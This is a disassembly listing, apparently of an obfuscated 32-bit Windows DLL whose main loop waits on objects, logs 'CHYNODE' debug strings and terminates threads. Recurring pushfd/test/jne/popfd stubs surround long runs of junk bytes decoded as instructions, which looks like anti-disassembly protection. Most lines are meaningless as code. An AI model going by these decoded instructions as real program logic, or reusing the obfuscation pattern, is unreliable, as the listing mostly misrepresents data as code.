mov cl, 0xd3
sbb al, 0xc4
cld
mov esi, 0xb91d6385
xchg esi, eax
loopne 0x1009af6d
in eax, dx
mov word [esi + 0x5e72a8fe], cs
pop edi
jo 0x1009b009
dec esp
cld
xchg esi, eax
and byte [edx + 0x22], bl
push ds
push edi
or esp, dword cs:[0x3a9f4efd]
sbb byte [eax - 0x25], dl
jae 0x1009b003
inc eax
xchg ebx, eax
mov ebx, 0x489bedba
pop esi
sbb bl, byte [edx]
mov gs, word [eax + 0x56]
mov eax, 0x2558bbed
sar bl, cl
imul edx
jecxz 0x1009affe
enter 0xffffffffffff95e3, 0x6d
pushal
lahf
mov ecx, 0x70f74589
add bh, dl
mov ah, 0x89
sub al, 0x7a
xchg dword [edi], esp
push ebx
jmp dword [eax + 0x7d]
push ebp
fild qword [eax]
xor cl, byte fs:[ecx + 0x6db6956f]
ror byte fs:[edx + edx*2 - 0x6203e701], 0xa8
call dword [ecx]
mov edi, 0x35d4db82
inc ebx
or edi, dword [edx]
add eax, 0x9969a482
cmp al, byte [0x9969a482]
cdq
cld
jl 0x1009b042
jle 0x1009afe2
sub dword [ebx - 0x1bfb938f], ecx
in al, 0x3c
shr byte es:[eax - 0xb], cl
add dword [ecx + 0x2a], edi
jne 0x1009b079
adc cl, 0xfc
imul ebp, dword [edi], 0xffffffe3
jecxz 0x1009b041
outsd dx, dword [esi]
test byte [ecx + 0x32b19b48], al
pop ds
mov edi, eax
popfd
lea eax, [esi + 0x6ef]
push eax
lea eax, [edi - 0x14]
pushfd
test byte [0x1009b088], 0x3a
jne 0x1009b089
and eax, 0x928c8687
and eax, 0x928c8687
mov ah, 0xcd
popal
xor byte [ebx], al
sub ebx, dword [ebx + eax + 0x389380c2]
inc ecx
cmp ebp, edi
push cs
push ebx
adc al, 0x5f
sbb al, 0x1d
dec esi
out 0x64, al
and byte [ecx + 0x48d64679], ch
or dword [ebx], 0xffffffff
salc
push 0xad49122e
xchg esp, eax
leave
xchg edx, eax
fimul word [edx + eax*2 - 8]
clc
stosb byte es:[edi], al
jg 0x1009b0a6
mov ebp, 0xa808f4a7
sahf
std
mov eax, dword [eax + 0x16e82223]
ja 0x1009b0e5
cmpsd dword [esi], dword es:[edi]
hlt
cwde
daa
popfd
push eax
call fcn.10041098
pop ecx
pop ecx
test eax, eax
pushfd
test byte [0x1009b0f1], 0x10
jne 0x1009b0f2
add dword [esi - 0x2e], 0xfec3b82a
movsb byte es:[edi], byte [esi]
inc edx
sbb eax, 0xa9cf5a24
int1
aaa
arpl word [ebp - 0x46b51f0e], bp
xor dword [eax], eax
imul eax, dword [esi - 0x46], 0x53
lodsd eax, dword [esi]
xchg dword [edx + 0x36], eax
inc ebp
dec edi
push ds
mov ch, 0x9a
inc ebx
and ebp, ecx
mov dword [0x3415336], eax
daa
bound ecx, qword [ecx + 0x72551383]
xor dh, byte [eax - 0x6c]
mov ebx, 0x2fee88f9
dec ebx
movsd dword es:[edi], dword [esi]
push ss
inc esp
sbb bl, byte [esi + 0x48ea596d]
and al, 0x23
aad 0x88
loopne 0x1009b074
sub ebx, dword [edx - 0x4b8c417e]
pop esi
popfd
je 0x1009b107
inc dword [ebp - 0x68]
add edi, 0x5d
cmp dword [ebp - 0x68], 6
jl 0x1009adde
cld
invalid
jmp 0x1009b120
mov edi, dword [ebp - 0x68]
cwde
imul edi, edi, 0x5d
lea eax, [esi + edi + 0x61]
push eax
mov ecx, esi
call fcn.10090088
inc byte [esi + edi + 0x79]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x68], 6
push es
jl 0x1009b276
push 0x10147bf0
push ebx
push 3
pushfd
test byte [0x1009b148], 0x76
jne 0x1009b149
mov cl, 9
adc byte [esi + 0x75], dh
or eax, 0x6a53dc27
daa
fcom qword [ebx + 0x6a]
jle 0x1009b109
movsd dword es:[edi], dword [esi]
push esp
fstp st(6)
test al, 0xd
inc eax
popfd
call fcn.10049c0c
add esp, 0xc
push 6
mov dword [esi + 4], ebx
mov byte [esi + 0x1c], bl
lea eax, [esi + 0x79]
pop ecx
mov byte [eax], bl
add eax, 0x5d
dec ecx
pushfd
test byte [0x1009b26e], 0xdb
jne 0x1009b26f
je 0x1009b123
push eax
push esi
jae 0x1009b1a0
ja 0x1009b102
enter 0x7dc5, 0x17
popal
mov ah, 0xf5
inc edx
fdivp st(0)
rol esp, 1
push ecx
mov esp, 0xf95c50dd
jns 0x1009b1bb
adc al, 0xbd
pop eax
and al, byte [ebp - 0x6c5cb8aa]
adc byte [edi], 0x85
mov ebx, 0x4796d9e9
xchg edi, eax
push 0x2d
pop ebp
fistp dword [0xbdac2726]
sbb eax, 0xbdac2726
mov eax, 0x349a3d54
popal
jle 0x1009b1ac
push esp
cmp eax, 0x7e61349a
sti
lcall 0x6602, 0xfb7e6134
jne 0x1009b136
add ah, byte [esi + 0x75]
xor edx, 0x6fa5a2da
lds edi, [edi - 0x5764ab4e]
fisub dword [edx - 0x403a905b]
mov dl, 0x54
wait
test al, 0xa7
mov edi, 0xa89b54b2
cmpsd dword [esi], dword es:[edi]
dec esi
cmpsb byte [esi], byte es:[edi]
pop eax
push edi
cmp eax, 0xf2b36f84
sbb esp, esp
jg 0x1009b1a4
outsd dx, dword [esi]
fiadd word [esi]
adc dword [edx], esi
xchg ebx, eax
sbb eax, 0xb2b53d41
fidivr word [esi]
ror byte [edx], cl
adc al, 0x62
pop ds
fcom qword [ebx + 0x49]
sahf
xchg edx, eax
adc eax, ebp
add bl, byte [ebx + edx*8 - 0x57df560b]
fisub dword [esi]
mov edi, 0x8c215170
sub al, 0x75
and eax, 0xe5431165
popfd
and eax, 0x36cf02
test dword [ecx + eax*8 - 4], ecx
push ebx
xchg edi, eax
dec edi
jecxz 0x1009b1aa
push ebx
int1
outsd dx, dword [esi]
inc ecx
mov dh, byte [edi - 0x57]
fadd qword gs:[ebp - 0x60f65c0e]
pop ss
mov bh, dl
inc edx
dec edx
pop ecx
adc eax, dword [ebx - 0x33aa6ff1]
dec edx
and eax, 0xedb0844
mov eax, dword [0xa66eeddd]
das
dec edi
mov dword [0x366f5f00], eax
push 0x7d
cmp byte [ecx - 0x34], bl
cwde
or cl, byte [edx + 0x261b23e6]
add eax, 0x52b7e3ef
int1
fldcw word [esi + ebx*8]
rcr dword [ecx + 0x4b517c9d], 0x21
xchg dword [ebx], ebx
sub al, dl
cdq
jae 0x1009b29c
sbb edi, 0xfffffff4
adc dl, 0xb5
and al, cl
outsb dx, byte [esi]
or byte [eax + ebp*2], al
fucompp
push esi
xchg edi, eax
fstp qword [edi]
mov dl, 9
popfd
jne 0x1009b15e
lea edi, [esi + 0x7b0]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, esi
call fcn.10055b58
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [esi + 0x748]
mov ecx, esi
call fcn.100580ae
cmp eax, 1
pushfd
test byte [0x1009b2e8], 0x10
jne 0x1009b2e9
sti
inc dword [ebx - 0x963fe08]
add eax, 0x1009b2e8
adc byte [ebp + 0x3e], dh
jo 0x1009b317
push ecx
test dword [edi - 0x4c37afb1], ebp
dec edx
sbb eax, 0xd9480d86
cmpsd dword [esi], dword es:[edi]
rcr byte [eax - 0x79446768], cl
aaa
mov esp, 0xa79db159
into
pop ebp
xor dword [ecx + 0x2e], 0x19
sub dword [edx + 0x64], edx
xor dword [ebx + 0x1cad266d], 0xffffffc4
xor ecx, dword [0x1a4f2ba0]
les esi, [ebx]
or eax, 0x1a4f2ba0
enter 0x58e, 0xffffffffffffffb5
or al, 0x8e
loop 0x1009b2b4
mov fs, edx
into
sbb edi, ecx
cmc
popfd
jne 0x1009a781
push str._CHYNODE::main_loop_Exit
push ebx
push ebx
call fcn.10049c0c
add esp, 0xc
pushfd
test byte [0x1009b401], 0xe8
jne 0x1009b402
out dx, al
enter 0xffffffffffffbc65, 0x54
outsb dx, byte [esi]
loopne 0x1009b2d7
salc
sbb eax, 0x2823eaac
inc esi
pop edi
mov al, 0x9b
cmpsb byte [esi], byte es:[edi]
cld
dec ecx
add eax, 0x9687ff8e
inc ecx
sub al, 0xe9
sbb edx, edx
and eax, 0x4f2d92c4
inc esp
in eax, 0x4d
pop ds
leave
cmp al, 0xca
push ebx
pop esp
enter 0xffffffffffffd5a7, 0xfffffffffffffff5
test al, 0x24
nop
adc cl, cl
xchg ecx, eax
sti
stosb byte es:[edi], al
insb byte es:[edi], dx
clc
std
xor al, 0x17
fidivr word [0x2ec77bc5]
jle 0x1009b353
jle 0x1009b353
pop ds
jle 0x1009b2e3
test al, 0x95
mov dl, 0xd0
ror dword [ebx], cl
inc esi
and dword [edx], edi
add dword [ebx], edx
stosb byte es:[edi], al
sti
mov dword [0x739e8aca], eax
mov dword [0xd231d351], eax
mov cl, dl
in al, dx
inc esp
int3
popfd
push 0x2bf20
push 1
lea eax, [ebp - 0x74]
push eax
pushfd
test byte [0x1009b47a], 3
jne 0x1009b47b
xchg esp, eax
push ecx
sti
push eax
scasb al, byte es:[edi]
push ebx
or ebx, dword [ebx + 0x422c6336]
push cs
cmp bh, cl
inc ebp
pop esi
inc edx
and eax, 0x25ab9605
sub esp, esi
pop edx
int 0xa4
sbb cl, byte [esi - 0x15]
rol byte [ebp + 0x6884e99e], 1
salc
and eax, 0x4cee57a0
mov bh, 0x40
push esi
sbb cl, byte [eax - 0x615e8cb6]
xor ebp, ecx
inc ecx
lodsb al, byte [esi]
test byte [eax], dh
and edi, dword [ebp + 0x5b]
jns 0x1009b486
mov bl, 0xb9
push ebp
lea ebp, [ecx + esi - 0x4c]
inc esp
test al, 0xf5
mov al, 0x8f
mov dl, 0x82
xor dword [ecx - 0x85c8659], 0xae22ec73
cmpsd dword [esi], dword es:[edi]
fst dword [ebx + 0x7f]
jns 0x1009b40d
div dword [ebx - 0x14]
and ch, byte [esi + 0x7f53d9a7]
lodsb al, byte [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x54]
push edi
jns 0x1009b4a4
popfd
push 2
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
pushfd
test byte [0x1009b58e], 0x7d
jne 0x1009b58f
adc byte [ecx + 0x14], ah
adc byte [esi + esi*8 + 0x9b58e05], bl
adc byte [ebp + 0xf], bh
test edi, esi
add byte [eax], al
add byte [edi + 0x67], cl
xor ebx, ebx
dec edi
xor ebx, ebx
or ch, bl
adc dh, al
inc ecx
pop es
sbb al, byte [edi]
add dword [esi - 0x5c78acf9], edx
scasd eax, dword es:[edi]
call 0x72c15097
inc edi
call 0xdda71dcd
mov al, byte [ebx + 0x2edb8a7f]
jne 0x1009b50e
pushal
or al, 0xa4
cmp dl, dl
dec ebp
test al, 0x20
mov bh, byte [ecx - 0x4d]
popfd
je 0x1009b4ab
std
pop esp
dec esi
mov edi, ds
push esi
xor al, 0x3d
inc esp
push esi
cmc
or esp, dword [ebx]
xchg esp, eax
ffreep st(2)
jae 0x1009b468
std
cmp ebx, dword [ecx]
dec edx
jno 0x1009b4da
cmp eax, 0x722398c9
xchg ebx, eax
insb byte es:[edi], dx
imul eax, dword [edi - 0x7d], 0xffffffc9
xor dword [edi + 0x4d], ebx
fcom qword [esi + 0x9eab9bf]
cmpsd dword [esi], dword es:[edi]
or al, ah
movsd dword es:[edi], dword [esi]
sahf
cmp bl, byte [esi]
out 0xf2, al
sub ebp, esi
sbb byte [edx - 0x6c], ch
push 0xfffffffffffffff0
push es
push esp
invlpg byte [edx + esi*4 + 0x43aa5af3]
mov dl, 0xf3
pop edx
stosb byte es:[edi], al
inc ebx
leave
enter 0xd04, 0xffffffffffffffb0
mov byte [eax + ebx*4], dl
scasd eax, dword es:[edi]
pop es
test byte [esi - 0x3bac2579], dh
cmp bh, byte [esi + 0x6d]
sub ecx, esi
pop eax
outsb dx, byte [esi]
xchg ebx, eax
ficom word [ecx]
sub eax, 0x8b26ca5c
cmpsd dword [esi], dword es:[edi]
mov ah, 0xe1
cmp eax, 0xd8a36188
dec edi
sbb byte [edi], bl
in al, 0x61
push cs
push es
out 0x37, eax
js 0x1009b4ec
add al, byte [edx]
nop
lodsb al, byte [esi]
push ebx
clc
sahf
add dl, byte [eax - 0x6107ac54]
fmul dword [ebp + 0x506543a2]
inc esp
jne 0x1009b546
mov word [0x5ed6c9da], ax
adc ecx, dword [ecx - 0x39]
aam 0x39
push edx
xchg edx, eax
test eax, edi
fidiv dword [eax]
sahf
lahf
dec ecx
inc esp
mov dword [0x1271a88b], eax
mov al, byte [0x93e1b34]
adc al, 0x15
out dx, eax
insb byte es:[edi], dx
push 0xd1c3865
mov ah, 2
int3
popfd
mov edi, eax
push edi
push str.main_loop_WaitForMultipleObjects_d
push ebx
push 3
call fcn.10049c0c
add esp, 0x10
cmp edi, 0x102
jne 0x1009b72c
push str.main_loop_Want_Exit1
push ebx
push 3
call fcn.10049c0c
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
pushfd
test byte [0x1009b5ea], 0xf8
jne 0x1009b5eb
mov dword [0x5265c9eb], eax
sub dword [edx + 0x68d257d1], eax
and byte [edi], ch
xchg edx, eax
push esp
and ebp, dword [edx - 0xd49f160]
fcom qword [ecx]
mov al, byte [0xdcf2b60e]
adc dword [ebp + 0x610c3d8b], ebx
adc al, 0x10
popfd
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
pushfd
test byte [0x1009b615], 0xeb
jne 0x1009b616
xchg esp, eax
xor cl, byte [ebx + 0x34]
in al, dx
mov ecx, 0xf08098e0
xor eax, 0xf1bf6d20
test byte [ecx + ebp*8], dh
sbb dh, 0x53
je 0x1009b673
jno 0x1009b5e5
popfd
push ebx
push ebx
call edi
pushfd
test byte [0x1009b726], 0x3d
jne 0x1009b727
and bh, byte [edx]
stosb byte es:[edi], al
push ss
mov al, byte [0x9d37367a]
or dl, byte [eax + 0x71]
mov ebx, 0x85c85f4
and eax, 0x13931a44
out 0x3c, eax
enter 0x7abd, 0xffffffffffffffb7
pop es
daa
lds eax, [edi - 0x33ca88a8]
stosb byte es:[edi], al
imul eax, dword [edx - 0x28146147], 0xec86b8c4
pop esp
add dword [ebx - 0x164bfb04], ebp
pop ss
xor dh, byte [esi + 1]
salc
loopne 0x1009b658
push edx
sbb ch, dh
nop
std
and dl, byte fs:[eax]
jns 0x1009b676
xchg byte [ebx], ah
sbb eax, ebp
sbb edx, dword [esi]
lds ebx, [ebx]
push ss
mov bh, 6
cwde
mov edx, 0x478df181
sbb al, 0xe7
sti
pop dword [eax - 0xc1b44ae]
dec ebp
nop
outsb dx, byte [esi]
xor esi, dword [0xf17704f7]
cmp al, 0xf6
bts dword [ebp - 0x22], esp
sahf
nop
dec edi
mov ch, 1
adc ecx, ecx
and dword [ebx - 0x1b], eax
mov dl, 0xfe
mov eax, 0x7fb5f59b
pop esi
insb byte es:[edi], dx
stosd dword es:[edi], eax
push esi
cmp cl, dh
xor al, 0xa
cmp esi, dword [ecx + eax*4]
test byte [edx + 0x17], 0xe3
dec ebp
cmp eax, 0x3bd3efa
cmp al, 0xc3
push esp
add al, 0xc
xchg edi, eax
out dx, al
adc eax, 0xa401366e
push ss
push di
pop ecx
test byte [ebx - 0x74], ah
push ss
push esp
clc
adc dl, cl
xlatb
xor esp, edx
out dx, eax
aam 0xef
sub edi, dword [esi - 0x5277a43]
rol dword [esi], cl
adc ah, byte [edx + 0xe91569d]
pop ebx
dec edi
push ds
das
and cl, byte [0xdf0b0a94]
test eax, 0xc502969a
jge 0x1009b6d8
add ecx, dword [edx + 0xadb5d89]
mov edi, dword [edx + 0x18844def]
or dword [edi + 0x68], edi
sar byte [edi], 1
cli
jno 0x1009b756
mov eax, dword [0x7674ac57]
mov edx, 0x3c1abffb
popfd
std
inc ebp
pop ecx
push 0xf359d600
jno 0x1009b78e
mov dl, 0xff
insd dword es:[edi], dx
dec eax
push ecx
popfd
push ebx
push ebx
call edi
mov eax, dword [ebp - 0x6c]
mov dword [esi + 0x750], ebx
pop edi
mov ecx, dword [ebp - 4]
pop esi
pushfd
test byte [0x1009b7f2], 0xf8
jne 0x1009b7f3
mov ecx, 0x1cab2273
outsb dx, byte [esi]
inc edi
imul eax
call 0xa1fbc8b4
push ecx
or dword [ecx], edx
xor bh, bh
pushal
shl dword [edi - 0x49f52d69], cl
jnp 0x1009b7b4
or dh, byte [esi - 0x68d8af85]
daa
xchg edi, eax
psubb mm5, qword [ecx + 0x39]
div byte [edx - 0x5df28277]
cmp ebp, eax
loop 0x1009b782
or edi, dword [0x4c74dd2b]
add byte [ecx + 0x5c204992], ah
dec ebp
daa
fnstenv [ebp - 0x5c528868]
xor dword [ebx + 0x5ce8e68b], edi
pop esp
aaa
cmp edi, dword [ecx]
outsd dx, dword [esi]
dec edx
cmp al, 0x63
je 0x1009b760
sbb al, 0xb6
and byte [esi + 0x69ad3d28], dh
inc dword [ecx]
or dword [ebx + 0x56], edi
popfd
xor ecx, ebp
pop ebx
call fcn.1011e48a